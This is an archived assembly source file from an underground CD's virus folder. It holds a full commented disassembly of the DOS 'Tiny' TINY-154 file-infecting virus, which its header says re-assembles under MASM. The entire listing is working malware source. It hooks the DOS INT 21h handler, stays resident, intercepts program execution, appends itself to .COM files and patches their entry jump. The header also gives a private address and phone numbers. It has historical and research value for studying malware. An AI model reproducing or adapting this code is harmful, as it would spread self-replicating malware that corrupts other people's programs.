home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-154.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.3 KB  |  182 lines

  1.     page    ,132
  2.  
  3.     name    TINY154
  4.  
  5.     title    The 'Tiny' virus, version TINY-154
  6.  
  7.     .radix    16
  8.  
  9.  
  10.  
  11. ; ╔══════════════════════════════════════════════════════════════════════════╗
  12.  
  13. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  14.  
  15. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  16.  
  17. ; ║                                         ║
  18.  
  19. ; ║             The 'Tiny' Virus, version TINY-154                  ║
  20.  
  21. ; ║         Disassembled by Vesselin Bontchev, September 1990         ║
  22.  
  23. ; ║                                         ║
  24.  
  25. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  26.  
  27. ; ║                                         ║
  28.  
  29. ; ║     This listing is only to be made available to virus researchers      ║
  30.  
  31. ; ║           or software writers on a need-to-know basis.          ║
  32.  
  33. ; ╚══════════════════════════════════════════════════════════════════════════╝
  34.  
  35.  
  36.  
  37. ; The disassembly has been tested by re-assembly using MASM 5.0.
  38.  
  39.  
  40.  
  41. code    segment
  42.  
  43.     assume    cs:code, ds:code
  44.  
  45.  
  46.  
  47.     org    100
  48.  
  49.  
  50.  
  51. seg_60    equ    600
  52.  
  53. v_len    equ    v_end-first4
  54.  
  55.  
  56.  
  57. start:
  58.  
  59.     jmp    v_entry     ; Jump to virus code
  60.  
  61.     db    'M'             ; Virus signature
  62.  
  63.     mov    ax,4C00     ; Program terminate
  64.  
  65.     int    21
  66.  
  67.  
  68.  
  69. ; The original first 4 bytes of the infected file:
  70.  
  71.  
  72.  
  73. first4    db    0EBh, 2, 90, 90
  74.  
  75.  
  76.  
  77. v_entry:
  78.  
  79.     mov    si,0FF        ; Determine the start addres of the virus body
  80.  
  81.     add    si,[si+2]
  82.  
  83.  
  84.  
  85.     mov    di,offset start ; Put the addres of program start on the stack
  86.  
  87.     push    di        ; Now a Near RET instruction will jump there
  88.  
  89.  
  90.  
  91.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  92.  
  93.  
  94.  
  95.     movsw            ; Restore the original first 4 bytes
  96.  
  97.     movsw
  98.  
  99.  
  100.  
  101.     mov    di,seg_60+4    ; Point ES:DI at 0000:0604h (i.e, segment 60h)
  102.  
  103.     xor    cx,cx        ; ES := 0
  104.  
  105.     mov    es,cx
  106.  
  107.     mov    cl,v_len-2    ; CX := virus length
  108.  
  109.     lodsw            ; Check if virus is present in memory
  110.  
  111.     scasw
  112.  
  113.     je    run        ; Just run the program if so
  114.  
  115.  
  116.  
  117. ; Virus not in memory. Install it there:
  118.  
  119.  
  120.  
  121.     dec    di        ; Adjust DI
  122.  
  123.     dec    di
  124.  
  125.     stosw            ; Store the first word of the virus body
  126.  
  127.     rep    movsb        ; Store the rest of the virus
  128.  
  129.  
  130.  
  131.     mov    di,32*4     ; Old INT 21h handler will be moved to INT 32h
  132.  
  133.     mov    ax,int_21-first4+seg_60
  134.  
  135.  
  136.  
  137. ; Move the INT 21h handler to INT 32h and
  138.  
  139. ; install int_21 as new INT 21h handler:
  140.  
  141.  
  142.  
  143.     xchg    ax,cx
  144.  
  145. vect_cpy:
  146.  
  147.     xchg    ax,cx
  148.  
  149.     xchg    ax,word ptr es:[di-(32-21)*4]
  150.  
  151.     stosw
  152.  
  153.     jcxz    vect_cpy    ; Loop until done
  154.  
  155.  
  156.  
  157. run:
  158.  
  159.     pop    ax        ; Restore AX
  160.  
  161.     push    ds        ; ES := DS
  162.  
  163.     pop    es
  164.  
  165.  
  166.  
  167. ; Jump to program start via funny RET instruction:
  168.  
  169.  
  170.  
  171.     ret
  172.  
  173.  
  174.  
  175. int_21:             ; New INT 21h handler
  176.  
  177.     cmp    ax,4B00     ; EXEC function call?
  178.  
  179.     jne    end_21        ; Exit if not
  180.  
  181.  
  182.  
  183.     push    ax        ; Save registers used
  184.  
  185.     push    bx
  186.  
  187.     push    cx
  188.  
  189.     push    dx
  190.  
  191.     push    di
  192.  
  193.     push    ds
  194.  
  195.     push    es
  196.  
  197.  
  198.  
  199.     push    cs        ; ES := CS
  200.  
  201.     pop    es
  202.  
  203.  
  204.  
  205.     mov    ax,3D02     ; Open the file for both reading and writting
  206.  
  207.     int    32
  208.  
  209.     jc    end_exec    ; Exit on error
  210.  
  211.     xchg    ax,bx        ; Save the file handle in BX
  212.  
  213.  
  214.  
  215.     call    lseek1
  216.  
  217.  
  218.  
  219.     mov    ah,3F        ; Read the first 4 bytes of the file
  220.  
  221.     mov    di,dx        ; Save first4 address in DI
  222.  
  223.     push    cs        ; DS := CS
  224.  
  225.     pop    ds
  226.  
  227.     int    32        ; Do it
  228.  
  229.  
  230.  
  231. ; Check whether the file is already infected or is an .EXE file.
  232.  
  233. ; The former contains the character `M' in its 3rd byte and
  234.  
  235. ; the latter contains it either in the 0th or in the 1st byte.
  236.  
  237.  
  238.  
  239.     push    di        ; Save DI
  240.  
  241.     mov    al,'M'          ; Look for `M'
  242.  
  243.     repne    scasb
  244.  
  245.     pop    di        ; Restore DI
  246.  
  247.     je    close        ; Exit if file not suitable for infection
  248.  
  249.  
  250.  
  251.     mov    al,2        ; Seek to the end of file
  252.  
  253.     call    lseek
  254.  
  255.  
  256.  
  257.     push    ax        ; Save file length
  258.  
  259.  
  260.  
  261.     mov    cl,v_len    ; Length of virus body
  262.  
  263.     mov    ah,40        ; Append virus to file
  264.  
  265.     int    32        ; Do it
  266.  
  267.  
  268.  
  269.     call    lseek1        ; Seek to the file beginning
  270.  
  271.  
  272.  
  273.     mov    al,0E9        ; Near JMP opcode
  274.  
  275.     stosb            ; Form the first instruction of the file
  276.  
  277.     pop    ax        ; Restore file length in AX
  278.  
  279.     inc    ax
  280.  
  281.     stosw            ; Form the JMP's opperand
  282.  
  283.     mov    al,'M'          ; Add a `M' character to mark the file
  284.  
  285.     stosb            ;  as infected
  286.  
  287.  
  288.  
  289.     mov    ah,40
  290.  
  291.     int    32        ; Do it
  292.  
  293.  
  294.  
  295. close:
  296.  
  297.     mov    ah,3E        ; Close the file
  298.  
  299.     int    32
  300.  
  301.  
  302.  
  303. end_exec:
  304.  
  305.     pop    es        ; Restore used registers
  306.  
  307.     pop    ds
  308.  
  309.     pop    di
  310.  
  311.     pop    dx
  312.  
  313.     pop    cx
  314.  
  315.     pop    bx
  316.  
  317.     pop    ax
  318.  
  319.  
  320.  
  321. ; Exit through the original INT 21h handler:
  322.  
  323.  
  324.  
  325. end_21:
  326.  
  327.     jmp    dword ptr cs:[32*4]
  328.  
  329.  
  330.  
  331. lseek1:
  332.  
  333.     mov    al,0        ; Lseek to file beginning
  334.  
  335. lseek:
  336.  
  337.     mov    ah,42        ; Lseek either to file beginning or to file end
  338.  
  339.     xor    cx,cx
  340.  
  341.     xor    dx,dx
  342.  
  343.     int    32        ; Do it
  344.  
  345.  
  346.  
  347.     mov    dh,6        ; Put 6 in DH and 4 in CL
  348.  
  349.     mov    cl,4
  350.  
  351.     ret            ; Done
  352.  
  353.  
  354.  
  355. v_end    equ    $        ; End of virus body
  356.  
  357.  
  358.  
  359. code    ends
  360.  
  361.     end    start
  362.  
  363.